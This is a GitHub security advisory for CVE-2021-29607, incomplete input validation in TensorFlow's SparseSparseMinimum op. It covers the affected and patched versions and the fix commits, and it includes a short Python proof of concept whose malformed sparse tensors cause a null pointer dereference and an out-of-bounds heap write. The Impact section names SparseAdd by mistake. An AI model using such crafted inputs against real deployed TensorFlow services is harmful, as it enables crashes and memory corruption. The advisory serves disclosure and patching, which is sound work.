Incomplete validation in `SparseSparseMinimum`

Moderate **mihaimaruseac** published **GHSA-gv26-jpj9-c8gq** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

```
import tensorflow as tf

a_indices = tf.ones([45, 92], dtype=tf.int64)
a_values = tf.ones([45], dtype=tf.int64)
a_shape = tf.ones([1], dtype=tf.int64)
b_indices = tf.ones([1, 1], dtype=tf.int64)
b_values = tf.ones([1], dtype=tf.int64)
b_shape = tf.ones([1], dtype=tf.int64)

tf.raw_ops.SparseSparseMinimum(a_indices=a_indices,
    a_values=a_values,
    a_shape=a_shape,
    b_indices=b_indices,
    b_values=b_values,
    b_shape=b_shape)
```

The implementation has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.

Patches

We have patched the issue in GitHub commit ba6822bd7b7324ba201a28b2f278c29a98edbef2 followed by GitHub commit f6fde895ef9c77d848061c0517f19d0ec2682f3a.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Moderate

CVE ID

CVE-2021-29607

Weaknesses

No CWEs